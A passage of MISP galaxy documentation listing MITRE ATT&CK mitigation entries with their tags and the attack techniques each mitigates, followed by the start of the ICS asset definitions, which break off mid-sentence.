CMSTP Mitigation - T1191 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="CMSTP - T1191" with estimative-language:likelihood-probability="almost-certain"

Table 4857. Table References

Links
https://attack.mitre.org/mitigations/T1191
https://msitpros.com/?p=3960

Keychain Mitigation - T1142

The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.

The tag is: *misp-galaxy:mitre-course-of-action="Keychain Mitigation - T1142"*

View relationships graph

Keychain Mitigation - T1142 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1142" with estimative-language:likelihood-probability="almost-certain"

Table 4858. Table References

Links
https://attack.mitre.org/mitigations/T1142

Launchctl Mitigation - T1152

Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.

The tag is: *misp-galaxy:mitre-course-of-action="Launchctl Mitigation - T1152"*

View relationships graph

Launchctl Mitigation - T1152 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Launchctl - T1152" with estimative-language:likelihood-probability="almost-certain"

Table 4859. Table References

Links
https://attack.mitre.org/mitigations/T1152

Source Mitigation - T1153

Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.

The tag is: *misp-galaxy:mitre-course-of-action="Source Mitigation - T1153"*

[View relationships graph]

Source Mitigation - T1153 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Source - T1153" with estimative-language:likelihood-probability="almost-certain"

Table 4860. Table References

Links
https://attack.mitre.org/mitigations/T1153

Trap Mitigation - T1154

Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.

The tag is: *misp-galaxy:mitre-course-of-action="Trap Mitigation - T1154"*

View relationships graph

Trap Mitigation - T1154 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Trap - T1154" with estimative-language:likelihood-probability="almost-certain"

Table 4861. Table References

Links
https://attack.mitre.org/mitigations/T1154

HISTCONTROL Mitigation - T1148

Prevent users from changing the <code>HISTCONTROL</code> environment variable (Citation: Securing bash history). Also, make sure that the <code>HISTCONTROL</code> environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.

The tag is: *misp-galaxy:mitre-course-of-action="HISTCONTROL Mitigation - T1148"*

View relationships graph

HISTCONTROL Mitigation - T1148 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148" with estimative-language:likelihood-probability="almost-certain"

Table 4862. Table References

Links

http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory
https://attack.mitre.org/mitigations/T1148

Defacement Mitigation - T1491

Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.

The tag is: *misp-galaxy:mitre-course-of-action="Defacement Mitigation - T1491"*

View relationships graph

Defacement Mitigation - T1491 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="External Defacement - T1491.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Defacement - T1491" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"

Table 4863. Table References

Links
https://attack.mitre.org/mitigations/T1491
https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/

AppleScript Mitigation - T1155

Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.

The tag is: *misp-galaxy:mitre-course-of-action="AppleScript Mitigation - T1155"*

View relationships graph

AppleScript Mitigation - T1155 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="AppleScript - T1155" with estimative-language:likelihood-probability="almost-certain"

Table 4864. Table References

Links
https://attack.mitre.org/mitigations/T1155
https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/

Sudo Mitigation - T1169

The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.

The tag is: *misp-galaxy:mitre-course-of-action="Sudo Mitigation - T1169"*

View relationships graph

Sudo Mitigation - T1169 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Sudo - T1169" with estimative-language:likelihood-probability="almost-certain"

Table 4865. Table References

Links
https://attack.mitre.org/mitigations/T1169

Hooking Mitigation - T1179

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

The tag is: *misp-galaxy:mitre-course-of-action="Hooking Mitigation - T1179"*

View relationships graph

Hooking Mitigation - T1179 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"

Table 4866. Table References

Links
https://attack.mitre.org/mitigations/T1179

Pre-compromise - M1056

This category is used for any applicable mitigation activities that apply to techniques occurring before an adversary gains Initial Access, such as Reconnaissance and Resource Development techniques.

The tag is: *misp-galaxy:mitre-course-of-action="Pre-compromise - M1056"*

View relationships graph

Pre-compromise - M1056 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Acquire Infrastructure - T1583" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Gather Victim Host Information - T1592" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1596.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Purchase Technical Data - T1597.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="IP Addresses - T1590.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DNS - T1590.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="WHOIS - T1596.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Search Victim-Owned Websites - T1594" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DNS/Passive DNS - T1596.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1588.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DNS Server - T1583.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1587.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Identify Business Tempo - T1591.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hardware - T1592.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1586.001" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Vulnerabilities - T1588.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Botnet - T1583.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Topology - T1590.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1587.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Trust Dependencies - T1590.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1584.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Upload Tool - T1608.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Threat Intel Vendors - T1597.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Gather Victim Identity Information - T1589" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Search Open Technical Databases - T1596" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Server - T1583.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Active Scanning - T1595" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Security Appliances - T1590.006" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Search Engines - T1593.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Business Relationships - T1591.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Employee Names - T1589.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Client Configurations - T1592.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compromise Infrastructure - T1584" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compromise Accounts - T1586" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Botnet - T1584.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Stage Capabilities - T1608" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Link Target - T1608.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="CDNs - T1596.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Gather Victim Org Information - T1591" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Gather Victim Network Information - T1590" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Search Open Websites/Domains - T1593" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Search Closed Sources - T1597" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Web Services - T1584.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Firmware - T1592.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Software - T1592.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploits - T1587.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Social Media - T1593.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials - T1589.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Wordlist Scanning - T1595.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Install Digital Certificate - T1608.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DNS Server - T1584.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Identify Roles - T1591.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Establish Accounts - T1585" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Obtain Capabilities - T1588" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Scanning IP Blocks - T1595.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Server - T1584.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Properties - T1590.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1588.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Scan Databases - T1596.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Determine Physical Locations - T1591.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Develop Capabilities - T1587" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploits - T1588.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domains - T1584.001" with estimative-

language:likelihood-probability="almost-certain"

Table 4867. Table References

Links
https://attack.mitre.org/mitigations/M1056

Antivirus/Antimalware - M1049

Use signatures or heuristics to detect malicious software.

The tag is: *misp-galaxy:mitre-course-of-action="Antivirus/Antimalware - M1049"*

View relationships graph

Antivirus/Antimalware - M1049 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1547.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"

Table 4868. Table References

Links
https://attack.mitre.org/mitigations/M1049

Attestation - M1002

Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.

The tag is: *misp-galaxy:mitre-course-of-action="Attestation - M1002"*

View relationships graph

Attestation - M1002 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1576" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hooking - T1617" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1605" with estimative-language:likelihood-probability="almost-certain"

Table 4869. Table References

Links
https://attack.mitre.org/mitigations/M1002

Audit - M1047

Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.

The tag is: *misp-galaxy:mitre-course-of-action="Audit - M1047"*

View relationships graph

Audit - M1047 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Sharepoint - T1213.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Email Hiding Rules - T1564.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1546.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Cloud Compute Infrastructure - T1578" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SAML Tokens - T1606.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Access Token - T1527" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Transport Agent - T1505.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Terminal Services DLL - T1505.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="AS-REP Roasting - T1558.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Implant Internal Image - T1525" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by Search Order Hijacking - T1574.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Delete Cloud Instance - T1578.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Executable Installer File Permissions Weakness - T1574.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Firewall - T1562.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Confluence - T1213.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Build Image on Host - T1612" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Web Cookies - T1606.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Launchd - T1053.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Forge Web Credentials - T1606" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Services File Permissions Weakness - T1574.010" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="ROMMONkit - T1542.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Malicious Image - T1204.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by Unquoted Path - T1574.009" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create Cloud Instance - T1578.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Code Repositories - T1213.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create Snapshot - T1578.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SQL Stored Procedures - T1505.001" with estimative-language:likelihood-probability="almost-certain"

Table 4870. Table References

Links
https://attack.mitre.org/mitigations/M1047

Assets

A list of asset categories that are commonly found in industrial control systems..

Assets is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Control Server

A device which acts as both a server and controller, that hosts the control software used in communicating with lower-level control devices in an ICS network (e.g. Remote Terminal Units (RTUs) and Programmable Logic Controllers (PLCs)).

The tag is: *misp-galaxy:mitre-ics-assets="Control Server"*

Table 4871. Table References

Links
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Data Historian

A centralized database located on a computer installed in the control system DMZ supporting external corporate user data access for archival and analysis using statistical process control and other techniques.

The tag is: *misp-galaxy:mitre-ics-assets="Data Historian"*

Table 4872. Table References

Links
https://ics-cert.us-cert.gov/Secure-Architecture-Design-Definitions

Engineering Workstation

The engineering workstation is usually a high-end very reliable computing platform designed for configuration, maintenance and diagnostics of the control system applications and other control system equipment. The system is usually made up of redundant hard disk drives, high speed network interface, reliable CPUs, performance graphics hardware, and applications that provide configuration and monitoring tools to perform control system application development, compilation and distribution of system modifications.

The tag is: *misp-galaxy:mitre-ics-assets="Engineering Workstation"*

Field Controller/RTU/PLC/IED

Controller terminology depends on the type of system they are associated with. They provide typical processing capabilities. Controllers, sometimes referred to as Remote Terminal Units (RTU) and Programmable Logic Controllers (PLC), are computerized control units that are typically rack or panel mounted with modular processing and interface cards. The units are collocated with the process equipment and interface through input and output modules to the various sensors and controlled devices. Most utilize a programmable logic-based application that provides scanning and writing of data to and from the IO interface modules and communicates with the control system network via various communications methods, including serial and network communications

The tag is: *misp-galaxy:mitre-ics-assets="Field Controller/RTU/PLC/IED"*

Human-Machine Interface

In computer science and human-computer interaction, the Human-Machine Interface (HMI) refers to the graphical, textual and auditory information the program presents to the user (operator) using computer monitors and audio subsystems, and the control sequences (such as keystrokes with the computer keyboard, movements of the computer mouse, and selections with the touchscreen) the user employs to control the program. Currently the following types of HMI are the most common: Graphical user interfaces(GUI) accept input via devices such as computer keyboard and mouse and provide articulated graphical output on the computer monitor. Web-based user interfaces accept input and provide output by generating web pages which are transported via the network and viewed by the user using a web browser program. The operations user must be able to control the system and assess the state of the system. Each control system vendor provides a unique look-and-feel to their basic HMI applications. An older, not gender-neutral version of the term is man-machine interface (MMI). The system may expose several user interfaces to serve different kinds of users. User interface screens may be optimized to provide the appropriate information 